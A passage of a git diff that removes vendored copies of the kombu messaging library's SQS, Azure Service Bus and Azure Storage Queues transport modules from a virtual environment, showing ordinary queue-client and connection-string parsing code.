- session_token=sts_creds['SessionToken'], - ) - return c - - def generate_sts_session_token(self, role_arn, token_expiry_seconds): - sts_client = boto3.client('sts') - sts_policy = sts_client.assume_role( - RoleArn=role_arn, - RoleSessionName='Celery', - DurationSeconds=token_expiry_seconds - ) - return sts_policy['Credentials'] - - def asynsqs(self, queue=None): - message_system_attribute_names = self.get_message_attributes.get( - 'MessageSystemAttributeNames') - message_attribute_names = self.get_message_attributes.get( - 'MessageAttributeNames') - - if queue is not None and self.predefined_queues: - if queue in self._predefined_queue_async_clients and \ - not hasattr(self, 'sts_expiration'): - return self._predefined_queue_async_clients[queue] - if queue not in self.predefined_queues: - raise UndefinedQueueException(( - "Queue with name '{}' must be defined in " - "'predefined_queues'." - ).format(queue)) - q = self.predefined_queues[queue] - c = self._predefined_queue_async_clients[queue] = \ - AsyncSQSConnection( - sqs_connection=self.sqs(queue=queue), - region=q.get('region', self.region), - message_system_attribute_names=message_system_attribute_names, - message_attribute_names=message_attribute_names - ) - return c - - if self._asynsqs is not None: - return self._asynsqs - - c = self._asynsqs = AsyncSQSConnection( - sqs_connection=self.sqs(queue=queue), - region=self.region, - message_system_attribute_names=message_system_attribute_names, - message_attribute_names=message_attribute_names - ) - return c - - @property - def conninfo(self): - return self.connection.client - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def visibility_timeout(self): - return (self.transport_options.get('visibility_timeout') or - self.default_visibility_timeout) - - @cached_property - def predefined_queues(self): - """Map of queue_name to predefined queue settings.""" - return self.transport_options.get('predefined_queues', {}) - - @cached_property - def queue_name_prefix(self): - return self.transport_options.get('queue_name_prefix', '') - - @cached_property - def supports_fanout(self): - return False - - @cached_property - def region(self): - return (self.transport_options.get('region') or - boto3.Session().region_name or - self.default_region) - - @cached_property - def regioninfo(self): - return self.transport_options.get('regioninfo') - - @cached_property - def is_secure(self): - return self.transport_options.get('is_secure') - - @cached_property - def port(self): - return self.transport_options.get('port') - - @cached_property - def endpoint_url(self): - if self.conninfo.hostname is not None: - scheme = 'https' if self.is_secure else 'http' - if self.conninfo.port is not None: - port = f':{self.conninfo.port}' - else: - port = '' - return '{}://{}{}'.format( - scheme, - self.conninfo.hostname, - port - ) - - @cached_property - def wait_time_seconds(self) -> int: - return self.transport_options.get('wait_time_seconds', - self.default_wait_time_seconds) - - @cached_property - def sqs_base64_encoding(self): - return self.transport_options.get('sqs_base64_encoding', True) - - @cached_property - def fetch_message_attributes(self): - return self.transport_options.get('fetch_message_attributes', None) - - @property - def get_message_attributes(self) -> dict[str, Any]: - """Get the message attributes to be fetched from SQS. - - Ensures 'ApproximateReceiveCount' is included in system attributes if list is provided. - - The number of retries is managed by SQS / - (specifically by the ``ApproximateReceiveCount`` message attribute) - - See: class QoS(virtual.QoS): - (method) def extract_task_name_and_number_of_retries - - :return: A dictionary with SQS message attribute fetch config. - """ - APPROXIMATE_RECEIVE_COUNT = 'ApproximateReceiveCount' - fetch = self.fetch_message_attributes - message_system_attrs = None - message_attrs = None - - if fetch is None or isinstance(fetch, str): - return { - 'MessageAttributeNames': [], - 'MessageSystemAttributeNames': [APPROXIMATE_RECEIVE_COUNT], - } - - if isinstance(fetch, list): - message_system_attrs = ['ALL'] if 'ALL'.lower() in [s.lower() for s in fetch] else ( - list(set(fetch + [APPROXIMATE_RECEIVE_COUNT])) - ) - - elif isinstance(fetch, dict): - system = fetch.get('MessageSystemAttributeNames', []) - attrs = fetch.get('MessageAttributeNames', None) - - if isinstance(system, list): - message_system_attrs = ['ALL'] if 'ALL'.lower() in [s.lower() for s in system] else ( - list(set(system + [APPROXIMATE_RECEIVE_COUNT])) - ) - - if isinstance(attrs, list) and attrs: - message_attrs = ['ALL'] if 'ALL'.lower() in [s.lower() for s in attrs] else ( - list(set(attrs)) - ) - - return { - 'MessageAttributeNames': sorted(message_attrs) if message_attrs else [], - 'MessageSystemAttributeNames': ( - sorted(message_system_attrs) if message_system_attrs else [APPROXIMATE_RECEIVE_COUNT] - ) - } - - # ————————————————————————————————————————————————————————————— - # _message_to_python helper methods (extracted for testing/readability) - # ————————————————————————————————————————————————————————————— - - def _optional_b64_decode(self, raw: bytes) -> bytes: - """Optionally decode a base64 encoded string. - - :param raw: The raw bytes object to decode. - :return: Bytes of the optionally decoded raw input. - """ - candidate = raw.strip() - - if self.B64_REGEX.fullmatch(candidate) is None: - return raw - - try: - decoded = base64.b64decode(candidate, validate=True) - except (binascii.Error, ValueError): - return raw - - reencoded = base64.b64encode(decoded).rstrip(b'=') - if reencoded != candidate.rstrip(b'='): - return raw - - try: - decoded.decode('utf-8') - except UnicodeDecodeError: - return raw - - return decoded - - def _decode_python_message_body(self, raw_body): - """Decode the message body when needed. - - raw_body: bytes or str - returns: bytes (decoded Base64 if it looks like Base64, otherwise raw bytes) - """ - b = raw_body.encode() if isinstance(raw_body, str) else raw_body - return self._optional_b64_decode(b) - - def _prepare_json_payload(self, text): - """Try to JSON-decode text into a dict; on failure return {}.""" - try: - data = loads(text) - return data if isinstance(data, dict) else {} - except (JSONDecodeError, TypeError): - return {} - - def _delete_message(self, queue_name, message): - """Move the message over to the new queue URL and delete it.""" - new_q = self._new_queue(queue_name) - self.asynsqs(queue=queue_name).delete_message( - new_q, message['ReceiptHandle'] - ) - - def _envelope_payload(self, payload, raw_text, message, q_url): - """Prepare the payload envelope. - - Ensure we have a dict with 'body' and 'properties.delivery_info', - then stamp on SQS-specific metadata. - - :param payload: The payload as an object - :param raw_text: Text that will be set as the payload body. - :param message: A kombu Message. - :param q_url: The SQS queue URL. - - :return: Payload object. - """ - # if payload wasn’t already a Kombu JSON dict, wrap it - if 'properties' not in payload: - payload = { - 'body': raw_text, - 'properties': {'delivery_info': {}}, - } - - props = payload.setdefault('properties', {}) - di = props.setdefault('delivery_info', {}) - - # add SQS metadata - di.update({ - 'sqs_message': message, - 'sqs_queue': q_url, - }) - props['delivery_tag'] = message['ReceiptHandle'] - - return payload - - -class Transport(virtual.Transport): - """SQS Transport. - - Additional queue attributes can be supplied to SQS during queue - creation by passing an ``sqs-creation-attributes`` key in - transport_options. ``sqs-creation-attributes`` must be a dict whose - key-value pairs correspond with Attributes in the - `CreateQueue SQS API`_. - - For example, to have SQS queues created with server-side encryption - enabled using the default Amazon Managed Customer Master Key, you - can set ``KmsMasterKeyId`` Attribute. When the queue is initially - created by Kombu, encryption will be enabled. - - .. code-block:: python - - from kombu.transport.SQS import Transport - - transport = Transport( - ..., - transport_options={ - 'sqs-creation-attributes': { - 'KmsMasterKeyId': 'alias/aws/sqs', - }, - } - ) - - .. _CreateQueue SQS API: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_CreateQueue.html#API_CreateQueue_RequestParameters - - .. versionadded:: 5.6 - Queue tags can be applied to SQS queues during creation by passing an - ``queue_tags`` key in transport_options. ``queue_tags`` must be - a dict of tag key-value pairs. - - .. code-block:: python - - from kombu.transport.SQS import Transport - - transport = Transport( - ..., - transport_options={ - 'queue_tags': { - 'Environment': 'production', - 'Team': 'backend', - }, - } - ) - - The ``ApproximateReceiveCount`` message attribute is fetched by this - transport by default. Requested message attributes can be changed by - setting ``fetch_message_attributes`` in the transport options. - - .. code-block:: python - - from kombu.transport.SQS import Transport - - transport = Transport( - ..., - transport_options={ - 'fetch_message_attributes': ["All"], # Get all of the MessageSystemAttributeNames (formerly AttributeNames) - } - ) - # Preferred - A dict specifying system and custom message attributes - transport = Transport( - ..., - transport_options={ - 'fetch_message_attributes': { - 'MessageSystemAttributeNames': ["SenderId", "SentTimestamp"], - 'MessageAttributeNames': ['S3MessageBodyKey'] - }, - } - ) - .. _Message Attributes: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html#SQS-ReceiveMessage-request-AttributeNames - - """ # noqa: E501 - - Channel = Channel - - polling_interval = 1 - wait_time_seconds = 0 - default_port = None - connection_errors = ( - virtual.Transport.connection_errors + - (exceptions.BotoCoreError, socket.error) - ) - channel_errors = ( - virtual.Transport.channel_errors + (exceptions.BotoCoreError,) - ) - driver_type = 'sqs' - driver_name = 'sqs' - - implements = virtual.Transport.implements.extend( - asynchronous=True, - exchange_type=frozenset(['direct']), - ) - - @property - def default_connection_params(self): - return {'port': self.default_port} diff --git a/venv/Lib/site-packages/kombu/transport/__init__.py b/venv/Lib/site-packages/kombu/transport/__init__.py deleted file mode 100644 index 180a27b4b608203fd34ac5f69a68475ba4a04dc3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/__init__.py +++ /dev/null @@ -1,93 +0,0 @@ -"""Built-in transports.""" - -from __future__ import annotations - -from kombu.utils.compat import _detect_environment -from kombu.utils.imports import symbol_by_name - - -def supports_librabbitmq() -> bool | None: - """Return true if :pypi:`librabbitmq` can be used.""" - if _detect_environment() == 'default': - try: - import librabbitmq # noqa - except ImportError: # pragma: no cover - pass - else: # pragma: no cover - return True - return None - - -TRANSPORT_ALIASES = { - 'amqp': 'kombu.transport.pyamqp:Transport', - 'amqps': 'kombu.transport.pyamqp:SSLTransport', - 'pyamqp': 'kombu.transport.pyamqp:Transport', - 'librabbitmq': 'kombu.transport.librabbitmq:Transport', - 'confluentkafka': 'kombu.transport.confluentkafka:Transport', - 'kafka': 'kombu.transport.confluentkafka:Transport', - 'memory': 'kombu.transport.memory:Transport', - 'redis': 'kombu.transport.redis:Transport', - 'rediss': 'kombu.transport.redis:Transport', - 'SQS': 'kombu.transport.SQS:Transport', - 'sqs': 'kombu.transport.SQS:Transport', - 'mongodb': 'kombu.transport.mongodb:Transport', - 'zookeeper': 'kombu.transport.zookeeper:Transport', - 'sqlalchemy': 'kombu.transport.sqlalchemy:Transport', - 'sqla': 'kombu.transport.sqlalchemy:Transport', - 'SLMQ': 'kombu.transport.SLMQ.Transport', - 'slmq': 'kombu.transport.SLMQ.Transport', - 'filesystem': 'kombu.transport.filesystem:Transport', - 'qpid': 'kombu.transport.qpid:Transport', - 'sentinel': 'kombu.transport.redis:SentinelTransport', - 'consul': 'kombu.transport.consul:Transport', - 'etcd': 'kombu.transport.etcd:Transport', - 'azurestoragequeues': 'kombu.transport.azurestoragequeues:Transport', - 'azureservicebus': 'kombu.transport.azureservicebus:Transport', - 'pyro': 'kombu.transport.pyro:Transport', - 'gcpubsub': 'kombu.transport.gcpubsub:Transport', -} - -_transport_cache = {} - - -def resolve_transport(transport: str | None = None) -> str | None: - """Get transport by name. - - Arguments: - --------- - transport (Union[str, type]): This can be either - an actual transport class, or the fully qualified - path to a transport class, or the alias of a transport. - """ - if isinstance(transport, str): - try: - transport = TRANSPORT_ALIASES[transport] - except KeyError: - if '.' not in transport and ':' not in transport: - from kombu.utils.text import fmatch_best - alt = fmatch_best(transport, TRANSPORT_ALIASES) - if alt: - raise KeyError( - 'No such transport: {}. Did you mean {}?'.format( - transport, alt)) - raise KeyError(f'No such transport: {transport}') - else: - if callable(transport): - transport = transport() - return symbol_by_name(transport) - return transport - - -def get_transport_cls(transport: str | None = None) -> str | None: - """Get transport class by name. - - The transport string is the full path to a transport class, e.g.:: - - "kombu.transport.pyamqp:Transport" - - If the name does not include `"."` (is not fully qualified), - the alias table will be consulted. - """ - if transport not in _transport_cache: - _transport_cache[transport] = resolve_transport(transport) - return _transport_cache[transport] diff --git a/venv/Lib/site-packages/kombu/transport/azureservicebus.py b/venv/Lib/site-packages/kombu/transport/azureservicebus.py deleted file mode 100644 index 01de80a5713bdda8c1f4163c9e7a2353130249c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/azureservicebus.py +++ /dev/null @@ -1,498 +0,0 @@ -"""Azure Service Bus Message Queue transport module for kombu. - -Note that the Shared Access Policy used to connect to Azure Service Bus -requires Manage, Send and Listen claims since the broker will create new -queues and delete old queues as required. - - -Notes when using with Celery if you are experiencing issues with programs not -terminating properly. The Azure Service Bus SDK uses the Azure uAMQP library -which in turn creates some threads. If the AzureServiceBus Channel is closed, -said threads will be closed properly, but it seems there are times when Celery -does not do this so these threads will be left running. As the uAMQP threads -are not marked as Daemon threads, they will not be killed when the main thread -exits. Setting the ``uamqp_keep_alive_interval`` transport option to 0 will -prevent the keep_alive thread from starting - - -More information about Azure Service Bus: -https://azure.microsoft.com/en-us/services/service-bus/ - -Features -======== -* Type: Virtual -* Supports Direct: *Unreviewed* -* Supports Topic: *Unreviewed* -* Supports Fanout: *Unreviewed* -* Supports Priority: *Unreviewed* -* Supports TTL: *Unreviewed* - -Connection String -================= - -Connection string has the following formats: - -.. code-block:: - - azureservicebus://SAS_POLICY_NAME:SAS_KEY@SERVICE_BUSNAMESPACE - azureservicebus://DefaultAzureCredential@SERVICE_BUSNAMESPACE - azureservicebus://ManagedIdentityCredential@SERVICE_BUSNAMESPACE - -Transport Options -================= - -* ``queue_name_prefix`` - String prefix to prepend to queue names in a - service bus namespace. -* ``wait_time_seconds`` - Number of seconds to wait to receive messages. - Default ``5`` -* ``peek_lock_seconds`` - Number of seconds the message is visible for before - it is requeued and sent to another consumer. Default ``60`` -* ``uamqp_keep_alive_interval`` - Interval in seconds the Azure uAMQP library - should send keepalive messages. Default ``30`` -* ``retry_total`` - Azure SDK retry total. Default ``3`` -* ``retry_backoff_factor`` - Azure SDK exponential backoff factor. - Default ``0.8`` -* ``retry_backoff_max`` - Azure SDK retry total time. Default ``120`` -""" - -from __future__ import annotations - -import string -from queue import Empty -from typing import Any - -import azure.core.exceptions -import azure.servicebus.exceptions -import isodate -from azure.servicebus import (ServiceBusClient, ServiceBusMessage, - ServiceBusReceiveMode, ServiceBusReceiver, - ServiceBusSender) -from azure.servicebus.management import ServiceBusAdministrationClient - -try: - from azure.identity import (DefaultAzureCredential, - ManagedIdentityCredential) -except ImportError: - DefaultAzureCredential = None - ManagedIdentityCredential = None - -from kombu.utils.encoding import bytes_to_str, safe_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -# dots are replaced by dash, all other punctuation replaced by underscore. -PUNCTUATIONS_TO_REPLACE = set(string.punctuation) - {'_', '.', '-'} -CHARS_REPLACE_TABLE = { - ord('.'): ord('-'), - **{ord(c): ord('_') for c in PUNCTUATIONS_TO_REPLACE} -} - - -class SendReceive: - """Container for Sender and Receiver.""" - - def __init__(self, - receiver: ServiceBusReceiver | None = None, - sender: ServiceBusSender | None = None): - self.receiver: ServiceBusReceiver = receiver - self.sender: ServiceBusSender = sender - - def close(self) -> None: - if self.receiver: - self.receiver.close() - self.receiver = None - if self.sender: - self.sender.close() - self.sender = None - - -class Channel(virtual.Channel): - """Azure Service Bus channel.""" - - default_wait_time_seconds: int = 5 # in seconds - default_peek_lock_seconds: int = 60 # in seconds (default 60, max 300) - # in seconds (is the default from service bus repo) - default_uamqp_keep_alive_interval: int = 30 - # number of retries (is the default from service bus repo) - default_retry_total: int = 3 - # exponential backoff factor (is the default from service bus repo) - default_retry_backoff_factor: float = 0.8 - # Max time to backoff (is the default from service bus repo) - default_retry_backoff_max: int = 120 - domain_format: str = 'kombu%(vhost)s' - _queue_cache: dict[str, SendReceive] = {} - _noack_queues: set[str] = set() - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - self._namespace = None - self._policy = None - self._sas_key = None - self._connection_string = None - - self._try_parse_connection_string() - - self.qos.restore_at_shutdown = False - - def _try_parse_connection_string(self) -> None: - self._namespace, self._credential = Transport.parse_uri( - self.conninfo.hostname) - - if ( - DefaultAzureCredential is not None - and isinstance(self._credential, DefaultAzureCredential) - ) or ( - ManagedIdentityCredential is not None - and isinstance(self._credential, ManagedIdentityCredential) - ): - return None - - if ":" in self._credential: - self._policy, self._sas_key = self._credential.split(':', 1) - - conn_dict = { - 'Endpoint': 'sb://' + self._namespace, - 'SharedAccessKeyName': self._policy, - 'SharedAccessKey': self._sas_key, - } - self._connection_string = ';'.join( - [key + '=' + value for key, value in conn_dict.items()]) - - def basic_consume(self, queue, no_ack, *args, **kwargs): - if no_ack: - self._noack_queues.add(queue) - return super().basic_consume( - queue, no_ack, *args, **kwargs - ) - - def basic_cancel(self, consumer_tag): - if consumer_tag in self._consumers: - queue = self._tag_to_queue[consumer_tag] - self._noack_queues.discard(queue) - return super().basic_cancel(consumer_tag) - - def _add_queue_to_cache( - self, name: str, - receiver: ServiceBusReceiver | None = None, - sender: ServiceBusSender | None = None - ) -> SendReceive: - if name in self._queue_cache: - obj = self._queue_cache[name] - obj.sender = obj.sender or sender - obj.receiver = obj.receiver or receiver - else: - obj = SendReceive(receiver, sender) - self._queue_cache[name] = obj - return obj - - def _get_asb_sender(self, queue: str) -> SendReceive: - queue_obj = self._queue_cache.get(queue, None) - if queue_obj is None or queue_obj.sender is None: - sender = self.queue_service.get_queue_sender( - queue, keep_alive=self.uamqp_keep_alive_interval) - queue_obj = self._add_queue_to_cache(queue, sender=sender) - return queue_obj - - def _get_asb_receiver( - self, queue: str, - recv_mode: ServiceBusReceiveMode = ServiceBusReceiveMode.PEEK_LOCK, - queue_cache_key: str | None = None) -> SendReceive: - cache_key = queue_cache_key or queue - queue_obj = self._queue_cache.get(cache_key, None) - if queue_obj is None or queue_obj.receiver is None: - receiver = self.queue_service.get_queue_receiver( - queue_name=queue, receive_mode=recv_mode, - keep_alive=self.uamqp_keep_alive_interval) - queue_obj = self._add_queue_to_cache(cache_key, receiver=receiver) - return queue_obj - - def entity_name( - self, name: str, table: dict[int, int] | None = None) -> str: - """Format AMQP queue name into a valid ServiceBus queue name.""" - return str(safe_str(name)).translate(table or CHARS_REPLACE_TABLE) - - def _restore(self, message: virtual.base.Message) -> None: - # Not be needed as ASB handles unacked messages - # Remove 'azure_message' as its not JSON serializable - # message.delivery_info.pop('azure_message', None) - # super()._restore(message) - pass - - def _new_queue(self, queue: str, **kwargs) -> SendReceive: - """Ensure a queue exists in ServiceBus.""" - queue = self.entity_name(self.queue_name_prefix + queue) - - try: - return self._queue_cache[queue] - except KeyError: - # Converts seconds into ISO8601 duration format - # ie 66seconds = P1M6S - lock_duration = isodate.duration_isoformat( - isodate.Duration(seconds=self.peek_lock_seconds)) - try: - self.queue_mgmt_service.create_queue( - queue_name=queue, lock_duration=lock_duration) - except azure.core.exceptions.ResourceExistsError: - pass - return self._add_queue_to_cache(queue) - - def _delete(self, queue: str, *args, **kwargs) -> None: - """Delete queue by name.""" - queue = self.entity_name(self.queue_name_prefix + queue) - - self.queue_mgmt_service.delete_queue(queue) - send_receive_obj = self._queue_cache.pop(queue, None) - if send_receive_obj: - send_receive_obj.close() - - def _put(self, queue: str, message, **kwargs) -> None: - """Put message onto queue.""" - queue = self.entity_name(self.queue_name_prefix + queue) - msg = ServiceBusMessage(dumps(message)) - - queue_obj = self._get_asb_sender(queue) - queue_obj.sender.send_messages(msg) - - def _get( - self, queue: str, - timeout: float | int | None = None - ) -> dict[str, Any]: - """Try to retrieve a single message off ``queue``.""" - # If we're not ack'ing for this queue, just change receive_mode - recv_mode = ServiceBusReceiveMode.RECEIVE_AND_DELETE \ - if queue in self._noack_queues else ServiceBusReceiveMode.PEEK_LOCK - - queue = self.entity_name(self.queue_name_prefix + queue) - - queue_obj = self._get_asb_receiver(queue, recv_mode) - messages = queue_obj.receiver.receive_messages( - max_message_count=1, - max_wait_time=timeout or self.wait_time_seconds) - - if not messages: - raise Empty() - - # message.body is either byte or generator[bytes] - message = messages[0] - if not isinstance(message.body, bytes): - body = b''.join(message.body) - else: - body = message.body - - msg = loads(bytes_to_str(body)) - msg['properties']['delivery_info']['azure_message'] = message - msg['properties']['delivery_info']['azure_queue_name'] = queue - - return msg - - def basic_ack(self, delivery_tag: str, multiple: bool = False) -> None: - try: - delivery_info = self.qos.get(delivery_tag).delivery_info - except KeyError: - super().basic_ack(delivery_tag) - else: - queue = delivery_info['azure_queue_name'] - # recv_mode is PEEK_LOCK when ack'ing messages - queue_obj = self._get_asb_receiver(queue) - - try: - queue_obj.receiver.complete_message( - delivery_info['azure_message']) - except azure.servicebus.exceptions.MessageAlreadySettled: - super().basic_ack(delivery_tag) - except Exception: - super().basic_reject(delivery_tag) - else: - super().basic_ack(delivery_tag) - - def _size(self, queue: str) -> int: - """Return the number of messages in a queue.""" - queue = self.entity_name(self.queue_name_prefix + queue) - props = self.queue_mgmt_service.get_queue_runtime_properties(queue) - - return props.total_message_count - - def _purge(self, queue) -> int: - """Delete all current messages in a queue.""" - # Azure doesn't provide a purge api yet - n = 0 - max_purge_count = 10 - queue = self.entity_name(self.queue_name_prefix + queue) - - # By default all the receivers will be in PEEK_LOCK receive mode - queue_obj = self._queue_cache.get(queue, None) - if queue not in self._noack_queues or \ - queue_obj is None or queue_obj.receiver is None: - queue_obj = self._get_asb_receiver( - queue, - ServiceBusReceiveMode.RECEIVE_AND_DELETE, 'purge_' + queue - ) - - while True: - messages = queue_obj.receiver.receive_messages( - max_message_count=max_purge_count, - max_wait_time=0.2 - ) - n += len(messages) - - if len(messages) < max_purge_count: - break - - return n - - def close(self) -> None: - # receivers and senders spawn threads so clean them up - if not self.closed: - self.closed = True - for queue_obj in self._queue_cache.values(): - queue_obj.close() - self._queue_cache.clear() - - if self.connection is not None: - self.connection.close_channel(self) - - @cached_property - def queue_service(self) -> ServiceBusClient: - if self._connection_string: - return ServiceBusClient.from_connection_string( - self._connection_string, - retry_total=self.retry_total, - retry_backoff_factor=self.retry_backoff_factor, - retry_backoff_max=self.retry_backoff_max - ) - - return ServiceBusClient( - self._namespace, - self._credential, - retry_total=self.retry_total, - retry_backoff_factor=self.retry_backoff_factor, - retry_backoff_max=self.retry_backoff_max - ) - - @cached_property - def queue_mgmt_service(self) -> ServiceBusAdministrationClient: - if self._connection_string: - return ServiceBusAdministrationClient.from_connection_string( - self._connection_string - ) - - return ServiceBusAdministrationClient( - self._namespace, self._credential - ) - - @property - def conninfo(self): - return self.connection.client - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def queue_name_prefix(self) -> str: - return self.transport_options.get('queue_name_prefix', '') - - @cached_property - def wait_time_seconds(self) -> int: - return self.transport_options.get('wait_time_seconds', - self.default_wait_time_seconds) - - @cached_property - def peek_lock_seconds(self) -> int: - return min(self.transport_options.get('peek_lock_seconds', - self.default_peek_lock_seconds), - 300) # Limit upper bounds to 300 - - @cached_property - def uamqp_keep_alive_interval(self) -> int: - return self.transport_options.get( - 'uamqp_keep_alive_interval', - self.default_uamqp_keep_alive_interval - ) - - @cached_property - def retry_total(self) -> int: - return self.transport_options.get( - 'retry_total', self.default_retry_total) - - @cached_property - def retry_backoff_factor(self) -> float: - return self.transport_options.get( - 'retry_backoff_factor', self.default_retry_backoff_factor) - - @cached_property - def retry_backoff_max(self) -> int: - return self.transport_options.get( - 'retry_backoff_max', self.default_retry_backoff_max) - - -class Transport(virtual.Transport): - """Azure Service Bus transport.""" - - Channel = Channel - - polling_interval = 1 - default_port = None - can_parse_url = True - - @staticmethod - def parse_uri(uri: str) -> tuple[str, str | DefaultAzureCredential | - ManagedIdentityCredential]: - # URL like: - # azureservicebus://{SAS policy name}:{SAS key}@{ServiceBus Namespace} - # urllib parse does not work as the sas key could contain a slash - # e.g.: azureservicebus://rootpolicy:some/key@somenamespace - - # > 'rootpolicy:some/key@somenamespace' - uri = uri.replace('azureservicebus://', '') - # > 'rootpolicy:some/key', 'somenamespace' - credential, namespace = uri.rsplit('@', 1) - - if not namespace.endswith('.net'): - namespace += '.servicebus.windows.net' - - if "DefaultAzureCredential".lower() == credential.lower(): - if DefaultAzureCredential is None: - raise ImportError('Azure Service Bus transport with a ' - 'DefaultAzureCredential requires the ' - 'azure-identity library') - credential = DefaultAzureCredential() - elif "ManagedIdentityCredential".lower() == credential.lower(): - if ManagedIdentityCredential is None: - raise ImportError('Azure Service Bus transport with a ' - 'ManagedIdentityCredential requires the ' - 'azure-identity library') - credential = ManagedIdentityCredential() - else: - # > 'rootpolicy', 'some/key' - policy, sas_key = credential.split(':', 1) - credential = f"{policy}:{sas_key}" - - # Validate ASB connection string - if not all([namespace, credential]): - raise ValueError( - 'Need a URI like ' - 'azureservicebus://{SAS policy name}:{SAS key}@{ServiceBus Namespace} ' # noqa - 'or the azure Endpoint connection string' - ) - - return namespace, credential - - @classmethod - def as_uri(cls, uri: str, include_password=False, mask='**') -> str: - namespace, credential = cls.parse_uri(uri) - if isinstance(credential, str) and ":" in credential: - policy, sas_key = credential.split(':', 1) - return 'azureservicebus://{}:{}@{}'.format( - policy, - sas_key if include_password else mask, - namespace - ) - - return 'azureservicebus://{}@{}'.format( - credential.__class__.__name__, - namespace - ) diff --git a/venv/Lib/site-packages/kombu/transport/azurestoragequeues.py b/venv/Lib/site-packages/kombu/transport/azurestoragequeues.py deleted file mode 100644 index 1a411f4f7d705051aa1f21fee51dda5509bd4fa7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/azurestoragequeues.py +++ /dev/null @@ -1,263 +0,0 @@ -"""Azure Storage Queues transport module for kombu. - -More information about Azure Storage Queues: -https://azure.microsoft.com/en-us/services/storage/queues/ - -Features -======== -* Type: Virtual -* Supports Direct: *Unreviewed* -* Supports Topic: *Unreviewed* -* Supports Fanout: *Unreviewed* -* Supports Priority: *Unreviewed* -* Supports TTL: *Unreviewed* - -Connection String -================= - -Connection string has the following formats: - -.. code-block:: - - azurestoragequeues://@ - azurestoragequeues://@ - azurestoragequeues://DefaultAzureCredential@ - azurestoragequeues://ManagedIdentityCredential@ - -Note that if the access key for the storage account contains a forward slash -(``/``), it will have to be regenerated before it can be used in the connection -URL. - -.. code-block:: - - azurestoragequeues://DefaultAzureCredential@ - azurestoragequeues://ManagedIdentityCredential@ - -If you wish to use an `Azure Managed Identity` you may use the -``DefaultAzureCredential`` format of the connection string which will use -``DefaultAzureCredential`` class in the azure-identity package. You may want to -read the `azure-identity documentation` for more information on how the -``DefaultAzureCredential`` works. - -.. _azure-identity documentation: -https://learn.microsoft.com/en-us/python/api/overview/azure/identity-readme?view=azure-python -.. _Azure Managed Identity: -https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview - -Transport Options -================= - -* ``queue_name_prefix`` -""" - -from __future__ import annotations - -import string -from queue import Empty -from typing import Any - -from azure.core.exceptions import ResourceExistsError - -from kombu.utils.encoding import safe_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -try: - from azure.storage.queue import QueueServiceClient -except ImportError: # pragma: no cover - QueueServiceClient = None - -try: - from azure.identity import (DefaultAzureCredential, - ManagedIdentityCredential) -except ImportError: - DefaultAzureCredential = None - ManagedIdentityCredential = None - -# Azure storage queues allow only alphanumeric and dashes -# so, replace everything with a dash -CHARS_REPLACE_TABLE = { - ord(c): 0x2d for c in string.punctuation -} - - -class Channel(virtual.Channel): - """Azure Storage Queues channel.""" - - domain_format: str = 'kombu%(vhost)s' - _queue_service: QueueServiceClient | None = None - _queue_name_cache: dict[Any, Any] = {} - no_ack: bool = True - _noack_queues: set[Any] = set() - - def __init__(self, *args, **kwargs): - if QueueServiceClient is None: - raise ImportError('Azure Storage Queues transport requires the ' - 'azure-storage-queue library') - - super().__init__(*args, **kwargs) - - self._credential, self._url = Transport.parse_uri( - self.conninfo.hostname - ) - - for queue in self.queue_service.list_queues(): - self._queue_name_cache[queue['name']] = queue - - def basic_consume(self, queue, no_ack, *args, **kwargs): - if no_ack: - self._noack_queues.add(queue) - - return super().basic_consume(queue, no_ack, - *args, **kwargs) - - def entity_name(self, name, table=CHARS_REPLACE_TABLE) -> str: - """Format AMQP queue name into a valid Azure Storage Queue name.""" - return str(safe_str(name)).translate(table) - - def _ensure_queue(self, queue): - """Ensure a queue exists.""" - queue = self.entity_name(self.queue_name_prefix + queue) - try: - q = self._queue_service.get_queue_client( - queue=self._queue_name_cache[queue] - ) - except KeyError: - try: - q = self.queue_service.create_queue(queue) - except ResourceExistsError: - q = self._queue_service.get_queue_client(queue=queue) - - self._queue_name_cache[queue] = q.get_queue_properties() - return q - - def _delete(self, queue, *args, **kwargs): - """Delete queue by name.""" - queue_name = self.entity_name(queue) - self._queue_name_cache.pop(queue_name, None) - self.queue_service.delete_queue(queue_name) - - def _put(self, queue, message, **kwargs): - """Put message onto queue.""" - q = self._ensure_queue(queue) - encoded_message = dumps(message) - q.send_message(encoded_message) - - def _get(self, queue, timeout=None): - """Try to retrieve a single message off ``queue``.""" - q = self._ensure_queue(queue) - - messages = q.receive_messages(messages_per_page=1, timeout=timeout) - try: - message = next(messages) - except StopIteration: - raise Empty() - - content = loads(message.content) - - q.delete_message(message=message) - - return content - - def _size(self, queue): - """Return the number of messages in a queue.""" - q = self._ensure_queue(queue) - return q.get_queue_properties().approximate_message_count - - def _purge(self, queue): - """Delete all current messages in a queue.""" - q = self._ensure_queue(queue) - n = self._size(q.queue_name) - q.clear_messages() - return n - - @property - def queue_service(self) -> QueueServiceClient: - if self._queue_service is None: - self._queue_service = QueueServiceClient( - account_url=self._url, credential=self._credential - ) - - return self._queue_service - - @property - def conninfo(self): - return self.connection.client - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def queue_name_prefix(self) -> str: - return self.transport_options.get('queue_name_prefix', '') - - -class Transport(virtual.Transport): - """Azure Storage Queues transport.""" - - Channel = Channel - - polling_interval: int = 1 - default_port: int | None = None - can_parse_url: bool = True - - @staticmethod - def parse_uri(uri: str) -> tuple[str | dict, str]: - # URL like: - # azurestoragequeues://@ - # azurestoragequeues://@ - # azurestoragequeues://DefaultAzureCredential@ - # azurestoragequeues://ManagedIdentityCredential@ - - # urllib parse does not work as the sas key could contain a slash - # e.g.: azurestoragequeues://some/key@someurl - - try: - # > 'some/key@url' - uri = uri.replace('azurestoragequeues://', '') - # > 'some/key', 'url' - credential, url = uri.rsplit('@', 1) - - if "DefaultAzureCredential".lower() == 